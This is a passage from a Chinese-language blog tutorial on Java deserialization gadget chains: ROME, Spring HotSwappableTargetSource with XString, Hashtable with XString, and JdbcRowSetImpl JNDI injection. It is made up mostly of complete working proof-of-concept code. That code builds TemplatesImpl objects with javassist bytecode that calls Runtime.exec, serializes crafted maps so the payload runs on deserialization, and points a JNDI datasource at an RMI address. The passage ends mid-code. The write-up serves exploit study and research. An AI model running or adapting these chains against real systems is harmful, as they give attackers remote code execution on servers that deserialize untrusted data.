也就是说这里调用equals()方法后最后返回的是false,成功放入了第二个键值对,不会覆盖:

非常妙,同时传入fupanc,是为了让equalsBean能够成功实例化:

所以最终POC为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.util.Hashtable;
import com.sun.syndication.feed.impl.ObjectBean;
import java.util.HashMap;
import com.sun.syndication.feed.impl.EqualsBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",new byte[][]{code});
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
EqualsBean bean = new EqualsBean(String.class,"fupanc");
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",bean);
hashMap0.put("yy",impl);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",impl);
hashMap1.put("yy",bean);
hash.put(hashMap0,1);
hash.put(hashMap1,1);
setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",impl);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成功按照预期弹出一个计算机,调试也没问题。
OK,ROME链完结。
最后,需要注意的是:
这个rome链虽然是获取到getter和setter方法,但是从利用代码层面是只能调用到getter,自己分析是这样,具体就自己调试看看,也不难。
其他链
同样的可以算是另外的触发toString()方法的类,注意串通不同的知识点。
HotSwappableTargetSource
这个类位于org.springframework.aop.target.HotSwappableTargetSource
,是spring AOP下的一个类,主要的点还是可以调用到toString()方法,现在来跟一下这里的过程。
需要加一个spring-boot的依赖:
1
2
3
4
5
|
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.2.7.RELEASE</version>
</dependency>
|
在这里会利用到HotSwappableTargetSource类的equals()方法:

可以看到这里是会调用到equals()方法,老朋友了,然后这里调用了this.target
,这个参数是可控的:

所以这里都是可控的,并且是将这里的target变量类型是object,所以是可以进行任意变量的赋值。
总结来说就是可以调用任意类的equals()方法,在这里是选择的XString类的equals()方法,这个类位于com.sun.org.apache.xpath.internal.objects.XString
,现在来看一下这里选择的方法:

可以调用toString()方法,然后这里拼接上前面的rome链的toString链即可。
调用到equals()方法的,我看网上似乎都是用的HashMap作为反序列化出发点,触发的地方就在putVal()方法:

我觉得这里触发点的点就是图中标注出来的,刚好之前没利用过这里的putVal()方法来触发equals()方法,这里来简单构造一下。
其实可以先简单代码跟进构造一下,绕不过的一点就是需要hash值相同的,在调用hash()方法时会调用到hashCode()方法来进行hash值的计算,从代码跟进中可以知道这里的key是需要为HotSwappableTargetSource类实例的,正巧这个类是定义了hashCode()方法的:

这个点就非常有意思了,大概就是无论这个类中写入了什么,只要对这个类调用hashCode()方法,返回的结果都是相同的,所以这里是可以直接利用的,然后就可以简单写一个代码来进行调试分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
package org.example;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",code);
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
ObjectBean x1 = new ObjectBean(Templates.class,impl);
XString xString = new XString("fupanc");
HotSwappableTargetSource ho1 = new HotSwappableTargetSource(xString);
HotSwappableTargetSource ho2 = new HotSwappableTargetSource(x1);
HashMap hm = new HashMap();
hm.put(ho2,1);
hm.put(ho1,1);
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
运行就直接弹出计算机了,那么就是在第二次put进值时弹的计算机,现在打断点来进行调试。
发现是直接在如下的equals()方法就调用到了HotSwappableTargetSource类的equals()方法:

前面那个p就是赋值为前一个放进去的值,然后后面会调用p来获取到他的hash值等操作。
在调用到equals()方法前,虽然两个HotSwappableTargetSource类实例的hash值相同,但是很明显本质的内容是不同的,然后会调用到equals()方法:

然后调用到XString类的equals()方法:

然后就会调用到ObjectBean类的toString()方法,随后的过程就是前面toString链说过的了,后面过程就不再多说了,最后返回了false。
对于equals()方法调用结束为false,这里简单说说就行了:

两个HotSwappableTargetSource
类实例肯定不同,然后符合instances,然后调用equals()方法:

这里的str()就是返回前面实例化传参的fupanc,然后这里调用了toString()方法,这里返回的结果是不会相同的,所以两个字符串比较是肯定会被直接判定为false,最后综合下来,这整个调用的equals()方法返回false,最后让整个if条件判断为false。也是符合预期的。
继续跟进putVal()方法的后续代码,方法定义如下:

其实具体过程都是和Hashtable那里相同的,在这里的话,虽然hash相同,但是两个实例话对象是肯定不同的,对于后面的equals()方法调用,参考到Hashtable类的equals()调用,应该是需要这里的值不相同,然后key又被判定为不同,这样就可以放入两个值,

因为HashMap等控制键值对的类其本质其实都是让一个内部类Node
来进行的存储,所以最后的目的肯定是要实例话一个Node类的,也就是图中的newNode()方法:

所以需要规避掉上面的更新值的操作,也就是需要e为null,看上面代码,我们可以控制调用完equals()方法后返回一个false,也就回让整个if条件返回一个false,然后else if肯定也是false,进入到了else语句,先判断if语句,p.next
就是获取下一个键值对,那么这里肯定为null。然后这的binCount又为0,肯定不可能大于7,变量定义如下:

所以直接break,然后结束,最后这个e也为null,可以往里面放第二个键值对。其实直接接着前面的测试代码调试即可,主要的生效代码就是:

这个地方将p.next
设置为了下一个Node,也就是成功放入了下一个键值对,所以总的来说,基本只要满足前面的equals()方法判定为false,就可以放进去一个新的键值对。
反序列化也是调用的putVal()方法,所以其实也基本过了,这里就不多说了。序列化前不弹出计算机,其实直接像ROME链那样改就行了,然后反射修改,具体过程可以自己去跟跟,还是先尝试不换呢?尝试的POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
package org.example;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",code);
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
ToStringBean x1 = new ToStringBean(Templates.class,impl);
XString xString = new XString("fupanc");
HotSwappableTargetSource ho1 = new HotSwappableTargetSource(xString);
HotSwappableTargetSource ho2 = new HotSwappableTargetSource(x1);
HashMap hm = new HashMap();
hm.put(ho2,1);
hm.put(ho1,1);
// setFieldValue(x1,"_beanClass",Templates.class);
// setFieldValue(x1,"_obj",impl);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hm);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
只弹出一个计算机,预期应该是两个,同时也报错:
1
2
3
4
5
6
|
Exception in thread "main" java.lang.ClassNotFoundException: Evil
at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:331)
at
。。。。。。
|
我用javassist写的Evil类有问题?感觉可能和前面CC几当时提出的问题有点像,但是这里发现是反序列化一部分报的错,没调出来,那还是换吧,最后的POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
package org.example;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",code);
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
ToStringBean x1 = new ToStringBean(String.class,"fupanc");
XString xString = new XString("fupanc");
HotSwappableTargetSource ho1 = new HotSwappableTargetSource(xString);
HotSwappableTargetSource ho2 = new HotSwappableTargetSource(x1);
HashMap hm = new HashMap();
hm.put(ho2,1);
hm.put(ho1,1);
setFieldValue(x1,"_beanClass",Templates.class);
setFieldValue(x1,"_obj",impl);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hm);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
只在反序列化时弹出计算机。成功调用到ToStringBean类的toString()方法:

这里是直接返回读出来的字节,所以上一步的XString的equals()方法判断都是肯定不相同的,只是有点不清楚为什么Evil这里会报错找不到?可能还是和序列化问题相关吧。
参考文章的绕过方式也行,如下POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
package org.example;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",code);
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
ToStringBean x1 = new ToStringBean(Templates.class,impl);
XString xString = new XString("fupanc");
HashMap hash = new HashMap();
hash.put("haha","haha");
HotSwappableTargetSource ho1 = new HotSwappableTargetSource(xString);
HotSwappableTargetSource ho2 = new HotSwappableTargetSource(hash);
HashMap hm = new HashMap();
hm.put(ho2,1);
hm.put(ho1,1);
setFieldValue(ho2,"target",x1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hm);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
在XString类的equals()方法调用toString()方法时,调用的会是HashMap类的toString()方法,但其实都大差不差的,这里就不多说了。
Hashtable类也行吧应该,hash值相等这么容易,可以用来绕过HashMap的限制。
最后,在其他链子的学习中,我注意到同一个包下的另外一个类SingletonTargetSource,路径为org.springframework.aop.target.SingletonTargetSource,这个类实现了Serializable接口,可以被用来序列化。关注到这个类的equals()方法:

这里的that是jdk16引入的一个机制,就是前面判断的instanceof为true就回讲other设置为that,所以其实和前面HotSwappableTargetSource类的equals()方法实现的基本逻辑是一样的,只是我这里用的SpringAOP的版本不同,可能主要是因为这个依赖就是写给jdk16及以上来使用的吧。这里也说明了一个东西,在做题时看到的不同版本的依赖也是可以尝试利用的。就懒得改成这篇文章的依赖版本了。
————————
Hashtable+XString链
前面利用到了XString类的equals()方法,这个类位于com.sun.org.apache.xpath.internal.objects.XString
。既然都是利用equals()方法了,简单想了一下思路,其实也是和前面这个差不多了,但是就利用而言更多的是这里的XString起了一个中转的作用,在ROME链中的本来思路是equals()方法就可以直接打getter从而进行命令执行了,在这里的话就简单以一个XString触发ROME链中的toString链来进行分析,但是需要注意的是,XString不是ROME中特有的链,所以在其他地方也是可以利用的,比如jackson或者fastjson等。
具体思路其实也已经很清楚了,过程也已经非常清晰了,基本盘就是如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import java.util.HashMap;
import java.util.Hashtable;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",code);
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
ToStringBean x1 = new ToStringBean(Templates.class,impl);
XString xString = new XString("fupanc");
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",xString);
hashMap0.put("yy",x1);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",x1);
hashMap1.put("yy",xString);
hash.put(hashMap0,"1");
hash.put(hashMap1,"2");
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
我这里是选用的Hashtable类作为入口里,这个类的关于键值对的处理比较清晰。这里也不用再分析了,过程太熟悉了,唯一的问题就是看Hashtable中是否可以第二次正常放入键值对,并且达到只在反序列化时弹出计算机,而序列化时不弹出计算机。
但是这里其实也是和前面的HotSwappableTargetSource有点像,对于是否可以存储进两个值,当Hashtabel类put进第二个值时,会调用到HashMap的父类AbstractMap的equals()方法:

从而可以调用到XString类的equals()方法:

这里进行的obj2.toString()调用,最后返回的是报错信息:

然后肯定不会和实例化XString时传入的fupanc相同,返回false:

最后返回false,从而可以成功放入两个键值对。
其实都是说过了的,其他不多说了,pox如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",code);
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
ToStringBean x1 = new ToStringBean(Templates.class,impl);
XString xString = new XString("fupanc");
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",xString);
hashMap0.put("yy",x1);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",x1);
hashMap1.put("yy",xString);
hash.put(hashMap0,"1");
hash.put(hashMap1,"2");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
也是只弹出一个计算机,也是报错:
1
|
Exception in thread "main" java.lang.ClassNotFoundException: Evil
|
这里再想了一下,可能是javassist的原因?或者由于序列化时JVM已经加载了Evil这个类?
那么同样将其改成只在反序列化时弹出,最后的poc如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.syndication.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl impl = new TemplatesImpl();
setFieldValue(impl,"_name","fupanc");
setFieldValue(impl,"_bytecodes",code);
setFieldValue(impl, "_class", null);
setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());
ToStringBean x1 = new ToStringBean(String.class,"fupanc");
XString xString = new XString("fupanc");
Hashtable hash = new Hashtable();
HashMap hashMap0 = new HashMap();
hashMap0.put("zZ",xString);
hashMap0.put("yy",x1);
HashMap hashMap1 = new HashMap();
hashMap1.put("zZ",x1);
hashMap1.put("yy",xString);
hash.put(hashMap0,"1");
hash.put(hashMap1,"2");
setFieldValue(x1,"_beanClass",Templates.class);
setFieldValue(x1,"_obj",impl);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成功只在反序列化时弹出计算机。
JdbcRowSetImpl
fastjson中提到过的类,这个类存在一个connect()方法存在jndi注入漏洞:

非常好实现jndi注入漏洞,这里的conn
变量在类初始化时就会设置为null,会调用到else if中的方法,然后控制getDataSourceName()方法有值即可。并且这个类存在一个getter方法有调用connect()方法的逻辑:

我们可以知道rome链的那几条链子都可以调用任意类的getter方法,所以直接打就行了,以toString链为例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
package org.example;
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("rmi://127.0.0.1:1099/Hello");
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
ToStringBean x1 = new ToStringBean(JdbcRowSetImpl.class,rs);
setFieldValue(bad,"val",x1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
常规的jndi打法,注意jdk版本,但是这里运行发现并没有弹出计算机,调试了一下,发现还是和前面提到的报错一样,这里由于有很多的getter方法,在没调用到我们想要调用的前就直接报错退出了:

可以看到这里调用这个方法后直接抛出异常,解决方法至少有两个:
- 像之前那样找一个class类,包含的getter方法少,并且能调用到getDatabaseMetaData()方法
- 还有就是根据报错,让方法调用不再报错,从而可以调用到我们想要利用的方法。
如果能找到,那么第一种方法是最好打的,但是找了一圈,没看到JdbcRowSetImpl的父类或者接口类有定义getDatabaseMetaData()方法,这个方法应该是JdbcRowSetImpl自带的,所以只能采用第二个方法。
定位到getMatchColumnNames()方法,可以直接打断点调试:

也就是让这个有值即可,跟进这个strMatchColumns变量的赋值,在构造方法中:

这里的Vector类,我们也接触过了,这里就是往往里面放入值:

跟进再看insertElementAt()方法:

就是给这个数组类型的变量里面插入值:

所以前面的操作就是将这个数组类型的变量全部填满,然后都是null类型,但是我们想要不报错,就需要第一个值不为null:

直接反射获取然后调用类函数修改即可:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
package org.example;
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Vector;
public class Main{
public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("rmi://127.0.0.1:1099/Hello");
Vector obj = (Vector)getFieldValue(rs, "strMatchColumns");
obj.insertElementAt("fupanc",0);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
ToStringBean x1 = new ToStringBean(JdbcRowSetImpl.class,rs);
setFieldValue(bad,"val",x1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
}
|
调试发现可以让这个方法就不会扔出异常了,并且这个方法过后就是我们想要利用的getDatabaseMetaData()方法:

然后再打jndi注入成功弹出计算机。
后面看了一下网上的分析文章,发现其实JdbcRowSetImpl类自己定义了一个类用来给strMatchColumns变量进行改值:

跟进set()方法:

也是一个改值的操作,并且刚好是我们需要改的下标0的值,所以如下打也是可以的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
package org.example;
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("rmi://127.0.0.1:1099/Hello");
rs.setMatchColumn("fupanc");
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
ToStringBean x1 = new ToStringBean(JdbcRowSetImpl.class,rs);
setFieldValue(bad,"val",x1);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
